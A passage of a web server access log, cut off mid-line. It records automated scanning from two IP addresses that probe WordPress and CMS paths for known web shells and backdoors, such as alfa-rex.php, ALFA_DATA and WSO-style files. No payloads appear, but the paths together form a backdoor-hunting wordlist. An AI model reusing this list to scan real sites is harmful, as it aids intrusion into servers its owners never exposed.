149.88.19.85 - - [23/Apr/2025:03:23:23 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:23 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:24 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:24 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:23:24 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:24 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:24 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:23:25 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:25 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:25 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:25 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:25 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:26 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:26 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:26 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 